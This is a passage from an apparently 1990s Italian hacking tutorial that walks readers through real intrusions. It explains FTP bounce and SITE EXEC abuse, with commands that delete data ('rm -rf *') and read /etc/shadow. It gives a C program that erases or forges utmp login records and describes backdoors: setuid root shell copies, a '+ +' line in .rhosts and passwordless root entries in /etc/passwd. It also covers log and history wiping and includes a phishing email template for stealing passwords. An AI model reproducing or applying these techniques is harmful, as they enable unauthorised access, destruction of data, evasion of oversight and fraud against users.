- Usate il vostro client FTP, collegatevi di nuovo al server e inviate il
  file (nel nostro esempio l'abbiamo chiamato bounce)
- Ora aprite un altro client Telnet, collegatevi di nuovo al server "base"
  sulla porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x e` l'IP Address
  del server da attaccare, cioe` quello da cui volete prelevare i file)
- Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi)
- Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare)
  troverete il file desiderato nel server "base", con il nome "hahaha".

Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete
"bombardare" un utente su IRC, potete creare un file dei comandi contenente
una serie di DCC CHAT, PRIVMSG, ecc. (solo se conoscete bene IRC) e farli
mandare dal vostro server "base" a uno (o molti) server IRC.

Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno
messi nel file dei comandi) e leggere il file delle password e fare altre
cose senza essere scoperti.  Ad esempio potete usare "cat &lt; /etc/shadow" per
visualizzare un file delle password shadow, o un "rm -rf *" (molto utile per
rendere la vita miserabile ai SysAdmin che si stancano di fare un backup
di tutti i files dei loro sistemi)...

Vale la pena di spendere ancora un paio di parole sui bugs di FTP.

SITE EXEC e` un comando che si trova in molti server, sia per Unix che per
Windows.  Non e` un bug, ma un comando che sembra essere stato fatto apposta
per un hacker.malicious :)  A cosa serve, vi chiederete...

Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER
e PASS come visto sopra, in modo da accedere in modo "anonimo" al server, e
poi digitate SITE EXEC seguito da un comando.  Se SITE EXEC e` implementato,
il vostro comando verra` eseguito.

Un modo per conoscere quali comandi sono implementati su un server FTP si
puo` usare il comando HELP.

Un'attivita` che personalmente *adoro* praticare e` andare sui canali IRC per
pedofili, aspettare che qualcuno faccia pubblicita` all'indirizzo del proprio
server FTP pieno di schifezze e fare un po` di pulizia usando il comando:

   SITE EXEC rm -rf *

...se il server e` per Unix (come ftpd).  Oppure usando format /autotest se
il server e` (praticamente sempre) per Windows (Serv-U, WarFTP).
CONCLUSIONE PRIMA SEZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~
Se non avete compreso il funzionamento di una o piu` tecniche (sperando che
non siano troppe) non dovete preoccuparvi: col tempo le capirete, e molto
probabilmente ne apporterete anche vostre personali varianti.

Comunque, dovrete essere voi a decidere quale utilizzare, in quale occasione
e se preferire una all'altra.  Potreste preferire una tecnica (ad esempio il
Bounce) a un exploit (SITE EXEC) o a un hack (Sendmail o PHF).
Sta a voi scegliere.

Attenti a non cacciarvi nei guai.
HACKING PRATICO: PARTE 1
~~~~~~~~~~~~~~~~~~~~~~~~
Passiamo ora dalla teoria alla pratica: come vi ho gia` detto nel precedente
volume e` bene che vi facciate un account su una delle tante BBS via Telnet
che sono presenti su Internet, in modo da poter accedere via Telnet ai vari
servizi senza doverci preoccupare di dover cancellare il nostro IP Address.

Ovviamente per avere la certezza di non lasciar tracce dovremmo applicare
delle misure di sicurezza addizionali, come cancellare i log di sistema e
utilizzare un account di qualcun altro... ma in genere una shell di una BBS
via Telnet puo` bastare (a meno che non abbiate in mente di hackerare un
mainframe del Pentagono o del NORAD).

Prima di usare il vostro client Telnet preferito ricordate le tecniche di
"bounce" di cui vi avevo parlato un po` di tempo fa?
Rivediamole brevemente: usando un programma come Telnet, Finger, FTP, ecc.
e` possibile effettuare un collegamento ricorsivo: in pratica, se il server
sul quale abbiamo l'accesso shell e` sito.com noi potremo collegarci ad esso
e una volta dentro potremo usare Telnet, Finger, ecc. per collegarci ancora
una, due, tre volte a sito.com.  Cio` puo` sembrare stupido: collegarsi a
un sito, e da questo collegarsi di nuovo allo stesso sito!

In realta` e` un ottimo metodo per nascondere il nostro IP Address.  Infatti,
ogniqualvolta ci colleghiamo a un sito lasciamo l'IP Address del server sul
quale siamo collegati.  Normalmente, questo e` l'IP Address del provider che
stiamo usando, e da esso si puo` risalire a noi.
Ma se disponiamo di un account su una BBS via Telnet (come detto prima), non
dovremo far altro che collegarci ad essa, e qualsiasi cosa faremo tramite la
sua shell, anziche` il nostro IP lasceremo quello della BBS.
Ovviamente pero` la vittima degli attacchi potrebbe rivolgersi al SysAdmin
della BBS e questi troverebbe il vostro IP Address nei suoi log.
Ricapitolando: la vittima ha l'IP della BBS (perche` e` da li` che vi siete
collegati), mentre la BBS ha il vostro IP.

Se poi dalla BBS ci colleghiamo tramite Telnet alla BBS stessa, l'IP Address
registrato non sara` il nostro ma quello della BBS!  Quindi ora il nostro IP
non compare piu` da nessuna parte.  Per essere ancora piu` sicuri potremmo
iterare la connessione una terza volta, oppure collegarci dalla BBS primaria
a un'altra BBS su cui abbiamo un account (bounce)... insomma, basta usare la
fantasia :)

Ma ora occupiamoci dei log di sistema.  Le nostre lezioni sull'hacking si
baseranno principalmente su Unix (e quindi le varianti come Linux, ecc.) ma
in futuro tratteremo anche altri sistemi come Windows NT e Macintosh.
HACKING PRATICO: DISSIMULAZIONE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I file di log piu` "pericolosi" che contengono le tracce da cancellare sono
/etc/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente
impazzito) sa che proprio per evitare "manomissioni" tali file vanno protetti
e quindi in genere non e` possibile, per un utente qualsiasi, scrivere in
essi.

I "permessi" di lettura, scrittura e cancellazione di file e directory sotto
Unix sono nella forma drwxrwxrwx (non spaventatevi! =) dove:

  "d"  sta per directory (se c'e` e` una directory, altrimenti e` un file)
  "r"  sta per read (accesso in lettura consentito)
  "w"  sta per write (accesso in scrittura consentito)
  "x"  sta per execute (e` permesso eseguire il file)

Quando una o piu` di questi permessi non sono abilitati (non e` consentito
fare una cosa, come nel caso di r w x oppure non si tratta di una directory
nel caso di d) al loro posto troveremo un trattino (-).
Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo
a che fare con un file o una directory, e passiamo agli altri.  Essi sono
raggruppati in tre gruppi di tre caratteri ciascuno: il primo gruppo si
riferisce a cosa puo` fare l'utente, il secondo a cosa puo` fare il gruppo
e il terzo a cosa possono fare gli altri.  Un esempio: -rwxrw-r-- significa
che l'utente puo` leggere, scrivere ed eseguire il file (rwx), il secondo
(rw-) significa che il gruppo (vedi spiegazione sui file delle password) puo`
leggere e scrivere, ma non eseguire il file, mentre l'ultimo (r--) significa
che gli altri possono soltanto leggere il file, ma non modificarlo.

Per visualizzare i permessi di un file useremo il comando LS di Unix.  Esso
equivale grossolanamente al comando DIR del DOS.
L'uso di LS per visualizzare i permessi di file e directory e` il seguente:

   ls -l nome_e_percorso_del_file

Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell.
Vediamo dunque dal risultato di questo comando se abbiamo il permesso di
scrivere in quel file: se il terzo carattere (nella forma vista prima) e`
la lettera "w" (write) abbiamo tali permessi.  Se invece e` un trattino,
dovremo accontentarci di nascondere il nostro IP Address... oppure hackerare
root per avere tutti i permessi abilitati :)

Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre
tracce... o dissimulare il nostro username.  Mi spiego meglio: supponiamo
che il nostro username e` "hacker".  Il nostro scopo e` farlo scomparire dai
log, ma potremmo anche volerlo cambiare e far ricadere la colpa su qualcun
altro che abbia un certo username, o ancora far comparire nei log un username
inesistente (ad esempio qualche parolina per sfottere un po` il SysAdmin enl
caso in cui vada a leggersi il log per risalire a noi).

Ecco il programma in C (per Unix) che fara` entrambe le cose, a seconda di
quella che ci serve:
-= INIZIO CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#include &lt;stdio.h&gt; #include &lt;fcntl.h&gt; #include &lt;sys/types.h&gt; #include &lt;utmp.h&gt; #include &lt;sys/stat.h&gt;  struct utmp *user; char *usrt;  main (argc,argv) int argc; char *argv[]; {   int fatto=0, cnt=0, start=1, index=0;   char err[80];   if (argc == 1) printf("Removing you from utmp\n");   if (argc == 2) printf("Changing your login to %s\n",argv[1]);   utmpname("/etc/utmp");   usrt = strrchr(ttyname(0),'/');   strcpy(usrt,++usrt);   while (fatto != 1) {     user = getutent();     cnt++;     if (strcmp(user-&gt;ut_line,usrt) == 0) fatto=1;   }   utmpname("/etc/utmp");   for (start=0; start&lt;cnt; start++) {
    user = getutent();
  }
  if (argc == 1) {
    user-&gt;ut_type = LOGIN_PROCESS;     strcpy(user-&gt;ut_name,"LOGIN");   }   else user-&gt;ut_type = USER_PROCESS;   if (argc == 2) strcpy(user-&gt;ut_name,argv[1]);   pututline(user);   endutent(); }  -= FINE CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-   Ovviamente dovrete avere almeno un po` di dimestichezza con Unix... vi bastera` salvare questo listato sotto forma di file di testo, e inviarlo in una directory del server da hackerare, dopodiche` dovrete compilare il file usando gcc oppure cc (i due compilatori C piu` usati sotto Unix), digitando nella shell: gcc nome_del_file.c  Se tutto e` andato bene, troverete nella directory un file compilato (se il nome del file era nascondi.c il nome del file eseguibile sara` semplicemente "nascondi").  L'uso e` semplice: eseguendo il file le vostre tracce saranno cancellate da utmp.  Scrivendo invece (ad esempio): nascondi hahaha il vostro username non sara` cancellato da utmp, ma verra` sostituito con "hahaha".  Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C e i compilatori (dovrete farlo prima o poi, se volete imparare seriamente) e volete ancora eliminare il vostro username dal log, dovrete:   1) usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio     di questo file) per nascondere l'IP;  2) modificare il file utmp per rimuovere l'username... o eliminarlo.  Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di usare il programma in C sopra riportato.  Nel prossimo volume impareremo a destreggiarci in un sistema, e a rimanerci. Vedremo come funziona una "backdoor" e come mantenere accesso root nel tempo. Nel frattempo, se avete installato Unix o Linux sul vostro computer (non l'avete fatto ancora?? che aspettate? la miglior teoria e` la pratica ;) sarebbe bene prendere dimestichezza con il compilatore C e con i comandi di base (come cat e ls), e dare poi uno sguardo ai file utmp e wtmp per vedere come sono strutturati.  Provate anche a compilare e usare il programma in C presente in questo file. HACKING PRATICO: PARTE 2 ~~~~~~~~~~~~~~~~~~~~~~~~ Ora sappiamo come nascondere le nostre tracce, e come ottenere accesso root su un sistema, ma e` probabile che non appena il SysAdmin notera` qualche attivita` sospetta fara` di tutto per rendere vano tutto il nostro lavoro e tenerci alla larga dal suo sistema.  Se cio` puo` ostacolare un hacker alle prime armi, non potra` pero` fermare chi sa come reagire nel modo giusto in questa guerra virtuale tra Hacker e SysAdmin.  Iniziamo a identificare l'obiettivo principale: cosa ci consente di eseguire qualsiasi comando, avere accesso a tutti i file e le directory, aggiungere o rimuovere a piacimento un account su un server, e cosi` via?  Ovviamente la risposta e`: la shell di root, ossia /bin/sh.  Ma se l'utente root (cioe` il SysAdmin) dovesse toglierci i privilegi root, avremmo solo una possibilita`: hackerare di nuovo il server, sperando che il SysAdmin non si sia accorto del metodo che abbiamo utilizzato per "entrare" e non abbia corretto il problema.  Questa ovviamente non e` una soluzione brillante... percio` vediamo come fare per avere qualche carta in piu` da giocare.  Un metodo puo` essere creare un programma o uno script che abbia i privilegi di root.  Infatti, quando copiamo un file ne conserviamo i privilegi; percio` se ad esempio copiamo /bin/sh in /tmp/test anche se poi accediamo al server con un account di un utente qualsiasi (e quindi senza privilegi), /tmp/test avra` la stessa identica funzione di /bin/sh in quanto non abbiamo copiato solo l'eseguibile della shell (sh) ma anche i suoi privilegi.  Quindi mentre normalmente /bin/sh non e` accessibile agli utenti, /tmp/test (o qualsiasi sia il nome che gli abbiamo voluto dare) sara` una shell root utilizzabile da qualsiasi utente che sappia della sua esistenza.  Per applicare i nuovi permessi a un file esistente dobbiamo eseguire il comando "chmod" seguito da permesso e nomefile (nel nostro caso /tmp/test oppure un qualsiasi altro file contenente la shell).  "chmod" serve per cambiare i permessi di un file.  Se non conoscete bene Unix (e quindi non state capendo niente o quasi) vi consiglio per l'ennesima volta di installare Linux e di sperimentare con i comandi.  Usate il comando "man chmod" per avere ulteriori informazioni sul comando chmod, oppure "man comando" per avere informazioni su un qualsiasi altro comando Unix.  Se avete un client rlogin (oppure rsh o rexec) potete fare un'altra cosa.  Come spiegato nel volume 7, il file .rhosts contiene una lista di username e password di chi puo` accedere a un server senza bisogno di password; in pratica, e` una lista di server e utenti "fidati" :)  Aggiungendo una riga contentente soltanto questo:  + +  (senza le righe vuote prima e dopo) al file .rhosts (ad esempio usando PHF, Sendmail o "cat" da una shell per aggiungere questa riga al file, come spiegato nel volume 5), chiunque potra` accedere al server usando rlogin, rsh e rexec ed eseguire comandi.  Se non vogliamo dare accesso a chiunque (per evitare di essere scoperti subito) potremo anche dare accesso solo a noi stessi, usando:  nome_del_nostro_server nostro_username  (anziche` + +), ma NON fatelo se l'account e` il vostro... se e` di qualcun altro e` un discorso, altrimenti non fatelo.  Infatti se e quando il SysAdmin dara` un'occhiata al file .rhosts trovera` in pratica il vostro "biglietto da visita", cioe` nome del vostro server e il vostro username!  Altro che nascondere l'IP Address ;)  Dato quindi che starete certamente usando uno dei metodi spiegati nell'ottavo volume, come il bounce tramite Telnet, e un account di qualche sperduta BBS oltreoceano, usare + + sara` piu` che sufficiente nella maggior parte dei casi (diciamo pure sempre).  Un altro metodo ancora e` aggiungere un comando a uno dei file script di uno o piu` utenti.  Ma cos'e` un file script?  Non e` altro che un file di testo contenente una lista di comandi da eseguire (come i file .BAT del DOS). Quindi se aggiungiamo un comando esso sara` eseguito proprio come gli altri.  Gli script sono .login e .logout (che vengono avviati rispettivamente quando un utente si collega o si scollega), ma anche .profile e .cshrc e gli altri che iniziano con un punto in una directory utente. Aggiungendo ad esempio la riga seguente:     if /tmp/programma exists run /tmp/programma  lo script verifichera` se il file /tmp/programma esiste e in caso affermativo lo eseguira`.  Questo metodo e` quindi l'ideale per eseguire un comando, come ad esempio la shell, oppure per un troiano o una backdoor.  Ma cos'e` un troiano?  E una backdoor?  Un troiano (detto anche Trojan Horse) e` un programma che fa qualcosa di cui chi lo esegue e` ignaro.  In genere sono concepiti per far danni, o attivare altri programmi.  Una backdoor, invece, e` un programma che normalmente e` presente sul sistema (ad esempio "login", oppure i comandi presenti nella directory /bin), ma che e` stato modificato dall'hacker per fare qualcosa di preciso. Quasi sempre questo "qualcosa" e` accedere alla shell di root o eseguire uno o piu` programmi. L'utilita` di una backdoor e` che anche se un SysAdmin cambia la password di root, o comunque vi impedisce di usare la shell, voi avete sempre questo "passaggio segreto" per entrare nel sistema a sua insaputa, e senza lasciar traccia.  Per chi conosce gia` un po` di C, diremo che una backdoor, nel caso piu` semplice, non e` altro che qualcosa del tipo:     system('/bin/cp /bin/sh /tmp/usami');  (esegue i comandi tra virgolette, in questo caso copia la shell in tmp) inserita in un punto di un qualsiasi programma.  Un'ulteriore passo e` fare in modo che solo chi conosce della backdoor possa farla entrare in funzione.  Ad esempio, se la backdoor e` stata inserita nel programma "login" potremmo fare in modo che se si avvia login in questo modo:     login Lord_Shinva  anziche` eseguire il codice originale di login verra` eseguita la backdoor, altrimenti verra` eseguito il codice normalmente.  Nient'altro che un semplice "if/then/else" come nella seguente pseudo-codifica:     if (strcmp(argv[1],"Lord_Shinva") {       ...codice della backdoor...    }    else {       ...codice di login...    }  In genere pero` creare una backdoor e` molto piu` complicato che creare un troiano, poiche` mentre quest'ultimo e` un semplice programmino in C che esegue un paio di chiamate system() per eseguire dei comandi, una backdoor deve comportarsi proprio come il programma originale di cui ha preso il posto e quindi e` necessario avere il sorgente (listato) del programma originale. Cio` non e` impossibile, ma richiede gia` una certa bravura con il C e con Unix, e bisogna sapere dove cercare.  Ma vi assicuro che col tempo, se avrete costanza nello studiare e mettere in pratica, creare una backdoor non sara` niente di complicato, una volta reperito il listato del programma da sostituire (potreste addirittura farlo interamente da soli, se si tratta di un programmino come LS).  VIRTUOSISMI TECNICI: PARTE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Supponiamo di aver finalmente hackerato un server e di avere username e password di un utente.  E ora cosa facciamo?  Ci limitiamo a leggere la sua posta, a collegarci via Telnet dal suo account e cose del genere? Certamente no...  I passi principali nell'hackerare un server consistono nel fare quanto segue:   - prendere tutte le precauzioni prima di collegarsi: preferibilmente usare    l'account di qualcun altro (un utente di cui abbiamo crackato la password)    e/o usare un account Telnet su una BBS, utilizzare il "bounce" e cosi` via   - scegliere un server (di tipo Unix, in questo caso) e crackarne le password    individuando la locazione del file, se le password sono shadow o meno, ecc   - collegarsi con l'account crackato di uno degli utenti di quel server   - utilizzare i comandi "who" e "ps -u vostro_user_name" per vedere chi    e` on-line e cosa sta facendo (se il SysAdmin e` in giro, sara` meglio    lasciar perdere e collegarsi piu` tardi, meglio se di notte o la mattina    molto presto)   - digitare "unset HISTFILE" per far si` che il file "history" (dove vengono    annotate tutte le operazioni che svolgiamo!) venga eliminato non appena    lasceremo il sistema   - inviare, compilare e usare un programma per nasconderci dal log di utmp   - controllare con il comando "who" se "si vede" che siamo in linea   - se non si e` riusciti a crackare la password di root, usare un exploit    per ottenere accesso root, in modo da poter eseguire comandi nella shell   - OPZIONALE: crearsi un nuovo account su quel server, utilizzando un nome    poco vistoso (dare un'occhiata al file delle password per uniformarvi    agli altri in modo da non far saltare all'occhio il vostro nuovo account)   - installare una backdoor (se si e` in grado di farlo), oppure copiare la    shell root /bin/sh in qualche directory "sperduta" sotto falso nome e    cambiarne il livello d'accesso con chmod, in modo da poter usare la shell    di root anche quando si accede al sistema con l'account di un utente    qualsiasi (e quindi senza privilegi); se si e` creato un nuovo account    (vedi sopra) potremo mettere la shell "segreta" nella nostra directory    utente, in modo che nessun altro la noti e possa usarla all'infuori di    noi (un buon posto e` la directory .term nella directory /users oppure    /home/users o comunque dove si trovano le directory degli utenti).    Si puo` anche aggiungere un account al file delle password, in modo da    utilizzare la shell root quando ci servira`, utilizzando semplicemente    Telnet: usando PHF con il comando "echo stringa &gt;&gt; /etc/passwd" oppure    editando direttamente il file delle password si aggiunga...              nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh    oppure qualcosa di meno vistoso, come un finto "account di sistema" del    tipo...                  spoolsys::13:12:system:/var/spool/:/bin/sh    (ovviamente si potra` anche utilizzare una password tra i due :: se non    si vuole consentire a qualcun altro di accedere a questo account)   - IMPORTANTISSIMO: cancellare tutte le tracce prima di lasciare il server    e in particolare...      - tutto quello che viene registrato riguardo al vostro server (host name,       IP Address, date e orari) nei files di log in /var/log e /var/adm      - eliminare sempre il file di history del vostro account (.bash_history),       e per evitare che venga creato di nuovo lo si setti a null con il       comando "ln -s /dev/null .bash_history"      - eliminare il file xferlog contenente il log dei trasferimenti di file       (se ne sono fatti)  Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non dovremo fare che collegarci con l'account di un utente qualsiasi e poi, in base a quello che abbiamo fatto prima, utilizzare la backdoor per accedere a root, oppure usare la shell "segreta" che abbiamo installato.  Tutto questo andra` fatto solo la prima volta, cioe` quando hackeriamo il server.  Cio` ci consentira` di non far notare un'attivita` hacker su quel server, cosicche` il nostro account (e soprattutto la shell root ;) durera` piu` a lungo... anche per moltissimo tempo, se il SysAdmin non sta attento a quel che accade nel suo sistema.  NOTA IMPORTANTE: se non siete ancora in grado di nascondere le vostre tracce come descritto sopra, avrete bisogno di tempo per imparare, percio` NON tentate di hackerare un server.  Usate Linux (che spero vi sarete finalmente installati ;) e provate, usando il comando "man nome_comando" ogniqualvolta non capite il funzionamento di un particolare comando. Sperimentate sempre prima in modalita` locale (sul vostro computer), se ne avete la possibilita`.  Quando dovete analizzare il contenuto di un file di log alla ricerca di informazioni da cancellare (come il vostro IP Address o l'host name del vostro provider) potete utilizzare "grep" (un comando Unix per cercare una stringa di testo in un file) come in questo esempio:     cd /var/log    grep hackers.com *  in questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della directory /var/log (ma anche /var/adm). Se l'output (i risultati della ricerca) e` troppo lungo per essere contenuto in una pagina, bastera` aggiungere il piping al comando "more", cosi`:     grep hackers.com * | more  e potremo comodamente scorrere in alto e in basso la nostra lista.  Se ad esempio troverete qualcosa del genere:  nome_file_log data orario nome_software_server nome_del_vostro_provider.com altro_file_log data orario nome_software_server nome_del_vostro_provider.com ....  saprete che i file nome_file_log e altro_file_log stanno "registrando" cose che non vorreste proprio far sapere al SysAdmin!  Come fregarli?  E` presto detto... :)  Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si trova nella directory /etc Il suo compito e` "dire" al sistema cosa loggare (registrare in file di log) e dove mettere i log (un altro file interessante e` /etc/login.defs dove e` possibile abilitare/disabilitare il logging delle operazioni effettuate con file ad accesso root).  Ci bastera` quindi editare il file /etc/syslog.conf e cancellare i file "scomodi"... ma non solo.  Affinche` i cambiamenti apportati abbiano effetto, dovremo riavviare il programma syslogd, o piu` precisamente il suo processo (le operazioni che svolge in background).  Ma prima di riavviare il processo dovremo disattivalo.  Per farlo, useremo il comando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a quale numero di processo e` associato syslogd.  Il primo numero sulla sinistra sara` quello che ci interessa: in pratica, e` come un numero di indentificazione che varia da processo a processo.  Digitiamo ora "kill -HUP numero_di_processo" e syslogd verra` disattivato e subito riavviato.  Abbiamo ora ottenuto quello che volevamo: niente piu` "spie" che possano aiutare il SysAdmin ad identificarci.  NOTA: in Unix le maiuscole e le minuscole sono fondamentali.  Attenetevi sempre alle mie istruzioni e tenete presente che i comandi sono quasi sempre in minuscolo, mentre le opzioni cambiano effetto a seconda che siano maiuscole o minuscole. SOCIAL ENGINEERING ~~~~~~~~~~~~~~~~~~ Social Engineering, ovvero Ingegneria Sociale... cos'e`?  E` il metodo piu` semplice ed efficace per ottenere informazioni che altrimenti non sapreste dove trovare, come ad esempio la password di un utente, o addirittura i suoi dati personali (indirizzo, telefono, ecc).  Sono solo esempi, ma con un po` di fantasia e fortuna potete fare davvero di tutto.  Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come quelle che abbiamo visto fino ad ora: niente Telnet, niente file di log, solo voi e la vostra intelligenza.  Ma procediamo per ordine.  Fare del "Social Engineering" significa far credere di essere qualcun altro allo scopo di ottenere qualcosa. Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare sul vostro conto un paio di milioni.  Al massimo vi ridera` in faccia... :) Ma se invece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da una riunione d'affari e dirle di sbrigare un attimino una faccenda urgente per conto suo.... ho reso l'idea? ;)  Beh, normalmente ci si limita ad utilizzare il Social Engineering per ottenere password e dati personali, ma l'uso e` lasciato a voi.  Si puo` fare S.E. (Social Engineering) per telefono o via modem (e Internet).  Le regole sono semplici:   - dovete agire "professionalmente" ed essere credibili  - dovete informarvi sull'argomento che state per affrontare  e, se utilizzerete il telefono:   - dovete essere sicuri di voi stessi e di quello che dite  - dovete avere una voce credibile, che non sia cioe` quella di un ragazzo    che vuole sfottere un po` per telefono...  Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti sapere che praticamente tutti gli hackers piu` conosciuti utilizzano proprio il S.E. per ottenere le informazioni di cui hanno bisogno. E` l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa obsoleta con il passare del tempo.  Ma ora veniamo alla pratica.  Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la password del suo account Internet oppure quella della sua mailbox).  In quale caso potremmo chiedere a un utente la sua password?  Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio utenti) del suo provider.  In questo caso, non dovremo fare altro che crearci un account di email su usa.net mailexcite.com che possa sembrare l'indirizzo email di un tecnico del provider, come ad esempio <a href="mailto:servizio_utenti@usa.net">servizio_utenti@usa.net</a> o altro.  Meglio ancora, se avete un account di posta elettronica potete usare iNAME (<a href="http://yahoo.iname.com/">http://yahoo.iname.com</a>) per creare un account email "virtuale".  Potrete cioe` crearvi un account come ad esempio <a href="mailto:servizio_tecnico@fastservice.com">servizio_tecnico@fastservice.com</a> (che e` MOLTO piu` credibile di <a href="mailto:pippo@hotmail.com">pippo@hotmail.com</a>) e tutta la posta che verra` inviata a quell'account sara` ridirottata anonimamente sul vostro account normale. Potrete scegliere tra vari nomi di server, e cio` torna a vostro favore. Se state fingendo di essere del servizio tecnico o help utenti di un provider scegliete qualityservice.com, topservice.com, oppure cyberservices.com.  Ora viene il bello.  Supponiamo di voler ottenere una password di un server senza allarmare il SysAdmin tentando di prelevare il file delle password :)  Cio` che vi serve e` l'indirizzo di email di un utente qualsiasi di QUEL server.  Come trovarlo: se il server ha una messaggistica, un forum dove gli utenti possono chiacchierare... vedete li`. Altrimenti non scoraggiatevi: collegatevi a <a href="http://www.whowhere.com/">http://www.whowhere.com</a> oppure a <a href="http://www.four11.com/">http://www.four11.com</a> e cercate il server che vi interessa. Avrete una lista di tutte le email che vi possono interessare, complete di nome e cognome che vi torneranno certamente utili. Oppure potete usare finger, se e` abilitato... facendo "finger @server.com" avrete la lista di tutti gli utenti presenti su quel sistema. Come vedete, ci sono molti modi per ottenere la stessa cosa.  Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del Webmaster o di uno dei responsabili o dei tecnici del server!  Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo:  ---&gt;   Da: <a href="mailto:Servizio_Tecnico@TopService.com">Servizio_Tecnico@TopService.com</a> A: <a href="mailto:utente@provider.it">utente@provider.it</a> Soggetto:   Gentile Utente,      per offrirLe un miglior servizio abbiamo aggiornato il server software del ns. Internet Provider.  Per problemi tecnici non ci e` stato possibile importare il database  Utenti,  motivo  per  cui  La preghiamo di  volerci comunicare al piu` presto il suo username e la sua password,  scrivendo al nostro indirizzo email: <a href="mailto:Servizio_Tecnico@TopService.com">Servizio_Tecnico@TopService.com</a>      La ringraziamo per la cortese attenzione.                                                  Cordiali saluti     Dr. Antonio Brambilla    Resp. Servizio Tecnico    XXXX Internet Provider    Via ................    Tel/Fax ............   &lt;---

Poche righe, insomma, ma ben scritte.
E per rendere piu` convincente il tutto, aggiungete anche informazioni come
indirizzo (vero) e nomi e cognomi (falsi), telefono e fax (falsi), ecc...

Vi meraviglierete di come talvolta anche le societa` che si appoggiano ai
provider per l'accesso a Internet cascano in questi trucchi.

NOTA: in alcuni casi puo` essere utile utilizzare la tecnica delle FakeMail
per inviare un "ordine di servizio" a qualcuno da parte di una persona (un
dirigente, ad esempio) di cui si conosca pero` l'indirizzo di email.
Ricordate pero` che, in caso di risposta, l'email andra` all'indirizzo falso
che avremo utilizzato (cioe` quello del dirigente!).

Se avessimo invece voluto fare qualcosa di piu` complicato, come ottenere un
qualche tipo di informazioni piu` o meno riservate da una grande azienda,
avremmo dovuto utilizzare (preferibilmente) il telefono.  Avere prontezza
di riflessi, sicurezza e una voce "adatta allo scopo" in tal caso sara`
indispensabile se non si vuole mandare tutto a monte.

Nel caso di personale particolarmente attento (raro...), del tipo che vuole
chiedere prima un'autorizzazione al capo e roba del genere, e` utile far
capire di avere altri affari da sbrigare, di essere seccati dall'inettitudine
di quell'impiegato e roba del genere... perdere la pazienza, insomma, senza
essere ne` patetici ne` isterici.

Il resto e` lasciato a voi.
HACKING AVANZATO DI WINDOWS NT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che
conosciate gia` il funzionamento dei Registry di Windows, in quanto una loro
trattazione esula dall'hacking ed e` comunque reperibile sia in libreria che
su Internet.

Mi limitero` quindi a ricordare solo le basi della sicurezza in Windows NT:

LSA (Local Security Authority, ovvero Autorit… di Sicurezza Locale)
E` conosciuto anche con il nome di Security Subsystem (Sottosistema di
Sicurezza).  E` il componente centrale della sicurezza NT ed Š preposto
all'autenticazione degli utenti e all'audit (logging).

SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account)
Fornisce autenticazione al LSA e controlla i gli account per gruppi e utenti.

SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza)
Controlla gli account ogniqualvolta un utente cerca di accedere a un file o
directory e gli da o nega il permesso in base ai suoi privilegi d'accesso, e
comunica le infrazioni al LSA tramite messaggi di audit.

UI (User Interface, ovvero Interfaccia Utente)
E` in pratica quello che l'utente vede, cioe` l'interfaccia con la quale egli
interagisce e che comunica in modo invisibile con gli elementi appena visti.

ACL (Access Control List, ovvero Lista di Controllo dell'Accesso)
Ogni utente ha una ACL che rappresenta i suoi permessi e privilegi in fatto
di directory, file, ecc.

L'autenticazione degli utenti funziona nel modo seguente: l'utente effettua
il login, NT crea un token che rappresenta quell'utente e associa al token i
privilegi che trova nella sua ACL, e agisce in base ad essi.

Procederemo ora per quesiti, in modo da rendere piu` agevole la lettura.

QUESITO 1: Quali sono i permessi di default?

Questi sono i permessi per gli utenti di default:

- Server Operators:  spegnimento, anche da remoto; reset dell'orologio di
                     sistema; backup e restore.
- Backup Operators:  spegnimento; backup e restore.
- Account Operators: spegnimento.
- Print Operators:   spegnimento.

Questi sono i permessi per le directory di Windows NT:

\(root), \SYSTEM32, \WIN32APP
Server Operator e Everyone possono leggere ed eseguire file, mostrare i
permessi e cambiare gli attributi dei file.

\SYSTEM32\CONFIG
Everyone puo` effettuare una DIR in questa directory.

\SYSTEM32\DRIVERS, \SYSTEM\REPL
Server Operator ha accesso completo. Everyone ha solo accesso in lettura.

\SYSTEM32\SPOOL
Server Operator e Print Operator hanno accesso completo. Everyone ha solo
accesso in lettura.

\SYSTEM32\REPL\EXPORT
Server Operator puo` leggere ed eseguire file, permessi e attributi.
Replicator ha solo accesso in lettura.

\SYSTEM32\REPL\IMPORT
Server Operator e Replicator possono leggere ed eseguire file, permessi e
attributi. Everyone ha accesso in lettura.

\USERS
Account Operator puo` leggere, scrivere, cancellare ed eseguire file.
